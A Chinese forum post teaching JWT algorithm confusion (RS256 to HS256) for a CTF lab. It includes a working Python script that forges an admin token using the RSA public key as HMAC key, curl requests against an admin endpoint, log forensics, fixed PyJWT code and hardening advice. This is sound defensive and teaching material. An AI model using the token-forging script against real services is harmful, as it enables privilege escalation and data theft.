跳转到帖子

CTF密码学实战:JWT算法混淆漏洞验证、权限边界与日志取证

精选回复

发布于

背景:从 CTF 题目还原真实鉴权缺陷

JWT 算法混淆是 CTF Web 与密码学交叉题型中常见的鉴权漏洞。问题通常不在 RSA 或 HMAC 算法本身,而在服务端允许客户端通过 JWT 头部的 alg 字段决定验签方式,并错误地将 RSA 公钥同时当作 HMAC 密钥使用。攻击者不需要破解私钥,只需获得本应公开的 RSA 公钥,就可能伪造具有管理员权限的令牌。

本文以隔离靶场中的授权漏洞验证为场景:应用使用 RS256 签发访问令牌,普通用户只能读取自己的资料,管理员令牌则可访问 /api/admin/export。测试目标是确认验证器是否存在 RS256 到 HS256 的算法混淆,并给出权限边界、日志留痕和修复方法。所有操作均应限定在书面授权的目标、测试账号和时间窗口内。

测试前应固定靶场域名、测试账号、源 IP 和请求编号。不要把从其他环境获得的令牌、公钥或用户数据带入测试。

问题定位:先区分令牌篡改与算法混淆

一个典型 JWT 由 header、payload 和 signature 三部分组成。排查时不能只看到 Base64URL 字符串就判断存在漏洞,应依次验证以下事实:

  • 服务端是否明确使用 RS256,而不是由令牌头部动态选择任意算法。
  • 普通用户修改 payload 后,原签名是否会被拒绝。
  • 把 alg 改为 none 后,服务端是否仍接受无签名令牌。
  • 把 alg 改为 HS256 后,服务端是否错误地使用 RSA 公钥执行 HMAC 校验。
  • 通过伪造令牌得到的是实际管理员权限,还是仅改变了前端显示。

首先使用测试账号获取基线令牌,并保存响应头中的请求标识。以下命令中的域名和凭据仅代表本地靶场:

export LAB_URL='

curl -sS -D login.headers \
  -H 'Content-Type: application/json' \
  -d '{"username":"player01","password":"Lab-Only-Password"}' \
  "$LAB_URL/api/login" | tee login.json

jq -r '.access_token' login.json > user.jwt
cut -d '.' -f1 user.jwt | base64 -d 2>/dev/null
cut -d '.' -f2 user.jwt | base64 -d 2>/dev/null

Base64URL 解码只用于查看内容,并不等于签名有效。若 payload 中出现 role、scope、is_admin 或 tenant_id 等字段,应继续确认服务端是否直接信任这些声明。

技术分析:漏洞为何能够跨越权限边界

正常的 RS256 流程中,签发端使用 RSA 私钥签名,验证端使用公钥验签。HS256 则由签发端和验证端共享同一个对称密钥。当脆弱验证器读取 alg 后动态选择算法,同时把同一份 key 数据传给不同验证函数时,攻击者可以声明使用 HS256,并把公开的 RSA 公钥文本当作 HMAC 密钥。

脆弱逻辑可抽象为以下代码。关键缺陷是算法由不可信的 JWT header 控制,而且 key_material 在两种算法之间复用:

def verify_token(token, key_material):
    header = decode_header_without_verification(token)

    if header["alg"] == "RS256":
        return verify_rsa_sha256(token, key_material)
    elif header["alg"] == "HS256":
        return verify_hmac_sha256(token, key_material)

    raise InvalidToken("unsupported algorithm")

若 key_material 是可公开下载的 PEM 公钥,攻击者就能在本地计算 HMAC。真正的权限跨越发生在服务端验证伪造签名后,又把 payload 中的 role=admin 或 scope=admin:export 映射为后台权限。

操作步骤:在隔离靶场完成最小化验证

第一步是确定公钥来源。常见位置包括 /.well-known/jwks.json、/oauth/jwks、静态 PEM 文件或应用镜像中的配置。公钥公开本身不是漏洞;漏洞是验证器把公钥当作对称密钥。

curl -sS "$LAB_URL/.well-known/jwks.json" | jq .
curl -sS "$LAB_URL/static/public.pem" -o public.pem
openssl pkey -pubin -in public.pem -text -noout

第二步生成受控测试令牌。为了降低影响,只修改实验账号的 role 和 scope,不修改 sub、tenant_id、aud、iss,并将有效期限制为五分钟。下面的脚本直接展示签名输入和 HMAC 计算过程,便于理解 CTF 中的密码学机制:

import base64
import hashlib
import hmac
import json
import time


def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=")


with open("public.pem", "rb") as f:
    public_key = f.read()

now = int(time.time())
header = {"alg": "HS256", "typ": "JWT"}
payload = {
    "sub": "player01",
    "role": "admin",
    "scope": "admin:export",
    "iss": "ctf-lab",
    "aud": "ctf-api",
    "iat": now,
    "exp": now + 300
}

encoded_header = b64url(json.dumps(header, separators=(",", ":")).encode())
encoded_payload = b64url(json.dumps(payload, separators=(",", ":")).encode())
signing_input = encoded_header + b"." + encoded_payload
signature = hmac.new(public_key, signing_input, hashlib.sha256).digest()
forged_token = signing_input + b"." + b64url(signature)

print(forged_token.decode())

执行后把输出保存为 forged.jwt,并分别请求普通接口和管理员接口。验证重点是服务端实际授权结果,不是令牌能否被某个在线解码器解析。

python3 forge_lab_jwt.py > forged.jwt

curl -sS -D normal.headers \
  -H "Authorization: Bearer $(tr -d '\n' < user.jwt)" \
  "$LAB_URL/api/admin/export" -o normal.body

curl -sS -D forged.headers \
  -H "Authorization: Bearer $(tr -d '\n' < forged.jwt)" \
  -H 'X-Test-Case: JWT-ALG-CONFUSION-01' \
  "$LAB_URL/api/admin/export" -o forged.body

head -n 1 normal.headers
head -n 1 forged.headers
sha256sum normal.body forged.body

如果普通令牌得到 403,而伪造令牌得到 200 且返回管理员资源,可以确认漏洞已经越过后端权限边界。验证到这里即可停止,不应继续导出完整数据。报告中保留状态码、响应长度、响应摘要和少量脱敏字段即可。

排除误判:检查算法库与密钥格式

现代 JWT 库通常会拒绝把 PEM 公钥作为 HMAC 密钥。因此脚本成功生成令牌并不表示服务端一定存在漏洞。若服务端返回 401,应结合日志区分算法白名单生效、密钥格式拒绝、受众不匹配和令牌过期等情况。

  • 401 且日志显示 unsupported algorithm:算法白名单有效。
  • 401 且显示 invalid audience 或 invalid issuer:尚不能判断算法混淆是否存在,应使用测试环境的正确 aud 和 iss 复测。
  • 403:签名可能已通过,但权限映射没有授予目标操作,需要确认鉴权链路。
  • 200:检查返回内容是否来自真实受保护接口,排除缓存、模拟数据或仅前端路由放行。

日志留痕与取证

服务端日志应记录验证结果和授权决策,但不得记录完整 JWT。完整令牌可能包含个人信息,并可被日志读取者直接重放。建议记录令牌的不可逆摘要、alg、kid、iss、aud、sub、请求路径、源 IP、请求编号以及拒绝原因。

token_hash=$(sha256sum forged.jwt | awk '{print $1}')
printf '%s\n' "$token_hash"

# 示例日志检索,字段名需按实际平台调整
jq -c 'select(
  .event == "jwt_validation" and
  (.jwt_alg == "HS256" or .reason == "algorithm_not_allowed")
) | {
  timestamp,
  request_id,
  source_ip,
  subject,
  jwt_alg,
  jwt_kid,
  path,
  decision,
  reason
}' /var/log/ctf-api/security.json

还应关联反向代理和业务审计日志,确认同一 request_id 下是否出现“身份验证成功但管理员授权异常”的组合。短时间内同一账号先使用 RS256、随后使用 HS256,或者同一 kid 对应多个算法,都是值得告警的信号。

安全实现与关键配置

修复的核心是由服务端配置固定允许的算法,并按算法类型隔离密钥。不能把客户端提交的 alg 当作可信配置,也不应通过关闭签名验证来兼容历史令牌。

import jwt

EXPECTED_ISSUER = "ctf-lab"
EXPECTED_AUDIENCE = "ctf-api"


def verify_access_token(token, rsa_public_key):
    claims = jwt.decode(
        token,
        rsa_public_key,
        algorithms=["RS256"],
        issuer=EXPECTED_ISSUER,
        audience=EXPECTED_AUDIENCE,
        options={
            "require": ["exp", "iat", "sub", "iss", "aud"],
            "verify_signature": True,
            "verify_exp": True
        }
    )

    if claims.get("scope") not in {"profile:read", "admin:export"}:
        raise PermissionError("unknown scope")

    return claims

即使签名验证正确,也不应仅凭 role=admin 直接授权。更稳妥的方式是把 sub 映射到服务端账户,再从权限数据库或策略引擎读取当前角色;JWT 中的 scope 只作为受限声明,并与接口所需权限、租户边界和账号状态共同校验。

风险与修复建议

  • 固定算法:访问令牌只接受明确配置的 RS256 或 PS256,不接受 none,也不接受自动降级为 HS256。
  • 隔离密钥:RSA 公私钥、HMAC 密钥和不同环境的密钥分别存储,禁止复用。
  • 校验声明:强制校验 exp、nbf、iat、iss、aud 和 sub;对时间偏差设置有限容忍值。
  • 约束 kid:kid 只能映射到预先登记的密钥标识,不能直接拼接文件路径、URL 或数据库查询。
  • 后端再授权:高权限接口根据服务端权限数据执行授权,不把可携带的角色声明视为唯一依据。
  • 缩短有效期:访问令牌保持短生命周期;发生漏洞后轮换签名密钥,并使旧令牌失效。
  • 完善审计:记录算法、密钥标识、主体、接口和决策结果,仅保存令牌摘要,不记录令牌原文。
  • 加入回归测试:构造 alg=none、HS256 公钥签名、未知 kid、错误 aud、过期令牌等测试用例,确保均被拒绝。

修复后的验证标准

修复完成后,应重新执行同一组基线请求。合法 RS256 普通用户令牌应正常访问个人资源;访问管理员接口应返回 403;HS256 伪造令牌和无签名令牌应返回 401,并在安全日志中产生 algorithm_not_allowed 或等价事件。任何失败响应都不应暴露密钥路径、验签库堆栈或内部算法配置。

总结

JWT 算法混淆题目的核心不是破解 RSA,而是识别密码算法选择与权限授权之间的实现缺陷。一次完整的 CTF 式漏洞验证应形成闭环:确认服务端算法策略,构造最小影响的受控令牌,验证真实后端权限边界,关联日志保存证据,最后通过固定算法、隔离密钥和后端再授权消除漏洞。这样既保留了密码学题目的技术深度,也能直接转化为授权渗透测试中的可复现结论和修复方案。

代码审计与漏洞定位示意图
代码审计、调用链与关键函数定位示意
安全事件影响分析示意图
安全动态、影响面和处置建议示意

验证这类题时,建议把“签名绕过”和“越过权限边界”分开记录:前者是服务端接受了错误算法的令牌,后者是受保护接口真的允许了原本无权执行的操作。仅解码出 role=admin,或者拿到一个 HTTP 200,都不足以证明提权成功。

在 CTF 环境里,可以围绕同一条受保护请求做对照测试:

  • 正常的低权限 RS256 令牌:应通过认证,但访问管理员接口应返回 403。
  • 修改权限声明、不重新签名:应在签名校验阶段被拒绝。
  • 将算法换成 HS256,按题目条件尝试用 RSA 公钥材料生成 HMAC 签名:应被拒绝;若通过,再检查管理员操作是否真正生效。
  • 签名正确但 aud 或 iss 不匹配:也应被拒绝,避免把令牌跨服务复用误判成算法混淆。

修复关键不是“禁用某一个坏算法”,而是验证端固定信任策略,不根据令牌头里的 alg 动态选择算法。例如 PyJWT:

import jwt

claims = jwt.decode(
    token,
    trusted_public_key,  # 来自服务端可信配置
    algorithms=["RS256"],
    issuer="
    audience="admin-api",
    options={"require": ["exp", "iss", "aud", "sub"]},
)
# 验证成功后,再根据 sub 和服务端授权策略判断接口权限。

还要留意一个复现差异:较新的库通常会拒绝把 PEM 格式的非对称公钥当作 HMAC 密钥。客户端生成令牌时报错,只能说明该生成路径被库拦住,不能据此判断目标验证端安全;需要结合靶场的库版本、密钥加载方式和实际响应定位。

取证上建议关联同一个 request_id 下的认证结果、授权结果和业务审计事件。记录声明算法、实际采用的验证算法、失败原因、校验后的主体及目标资源;校验前读取的 alg/kid 要明确标为不可信输入,并限制长度。不要落完整 JWT 或 Authorization 头。这样才能区分“探测被拦截”“认证绕过成功但授权失败”和“实际越权操作成功”。

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。